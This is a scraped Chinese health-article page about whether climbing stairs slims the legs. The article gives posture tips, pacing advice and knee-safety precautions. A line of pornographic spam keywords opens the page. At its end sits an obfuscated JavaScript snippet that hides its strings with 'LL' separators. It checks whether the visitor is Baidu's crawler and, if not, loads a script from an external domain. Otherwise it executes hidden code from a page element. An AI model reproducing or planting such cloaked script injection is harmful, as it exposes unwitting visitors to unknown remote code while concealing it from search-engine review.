亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

爬樓梯能不能瘦腿呢

2017-04-15 10:18:31  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):隨著現(xiàn)代越來(lái)越多的高樓大廈的修建,電梯公寓已經(jīng)成為了人們的理想住宅。雖然它看似幫人們節(jié)省了不少的力氣,但卻讓朋友們?nèi)鄙倭烁嗟腻憻?

隨著現(xiàn)代越來(lái)越多的高樓大廈的修建,電梯公寓已經(jīng)成為了人們的理想住宅。雖然它看似幫人們節(jié)省了不少的力氣,但卻讓朋友們?nèi)鄙倭烁嗟腻憻?,這樣也會(huì)造成更多的脂肪堆積在腿部。而其實(shí)適量的爬樓梯能很好地代謝我們的脂肪,那么爬樓梯能不能瘦腿呢?面對(duì)這個(gè)問題,接下來(lái)的時(shí)間就由我為大家作出一個(gè)完美的解答。

首先要端正你的姿勢(shì):腰挺直,抬頭挺胸,兩個(gè)臺(tái)階算一級(jí),一級(jí)一級(jí)的爬。并且爬的過(guò)程中,用腳尖來(lái)平衡身體,也就是把腳尖踩在樓梯上,注意腳跟不著地。動(dòng)作很簡(jiǎn)單,又有明顯的效果,不過(guò)重在堅(jiān)持。

爬樓梯鍛煉,首先要結(jié)合自己的實(shí)際情況。有不同程度的骨質(zhì)疏松或身體過(guò)于肥胖的人,爬樓時(shí)一定要掌握好速度與持續(xù)時(shí)間的關(guān)系。開始時(shí),應(yīng)采取慢速,堅(jiān)持一段時(shí)間,可以逐步加快速度或延長(zhǎng)時(shí)間,但是不能過(guò)于劇烈,否則會(huì)增加心肺負(fù)擔(dān)。在爬樓梯的過(guò)程中發(fā)現(xiàn)不適,應(yīng)立即停止鍛煉。同時(shí),要掌握正確的鍛煉方法。下樓時(shí),為了防止膝關(guān)節(jié)承受壓力增大,應(yīng)前腳掌先著地,再過(guò)渡到全腳掌著地,以緩沖膝關(guān)節(jié)的壓力。爬樓梯后可對(duì)膝關(guān)節(jié)局部按摩,平時(shí)最好常做下蹲、起立及靜力半蹲等練習(xí),使膝關(guān)節(jié)得到充分的運(yùn)動(dòng),防止其僵硬強(qiáng)直。

鍛煉開始時(shí),應(yīng)采取慢速鍛煉原則。堅(jiān)持鍛煉一段時(shí)間后(一般至少以2~3個(gè)月左右為宜),可以逐步加快速度或延長(zhǎng)時(shí)間,但是不能過(guò)于劇烈,否則會(huì)增加心、肺負(fù)擔(dān)。在鍛煉的過(guò)程中若出現(xiàn)胸悶、心悸伴大汗淋漓及關(guān)節(jié)酸痛加重,甚至出現(xiàn)關(guān)節(jié)腫脹不適的癥狀,應(yīng)立即停止鍛煉。

相信通過(guò)上面幾段文字內(nèi)容的陳述,廣大朋友們對(duì)爬樓梯能否瘦腿的問題已經(jīng)有了明確的答案。爬樓梯是我們?cè)谌粘?a href="http://www.chouju30.cn/sh/" target="_blank" class="keylink">生活中再平常不過(guò)的事情,但卻逐漸被電梯所取代,這樣也會(huì)讓人們的運(yùn)動(dòng)機(jī)能逐漸退化。所以在此我呼吁朋友們,平時(shí)盡量多走樓梯,還是要讓我們的雙腿多習(xí)慣行走。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}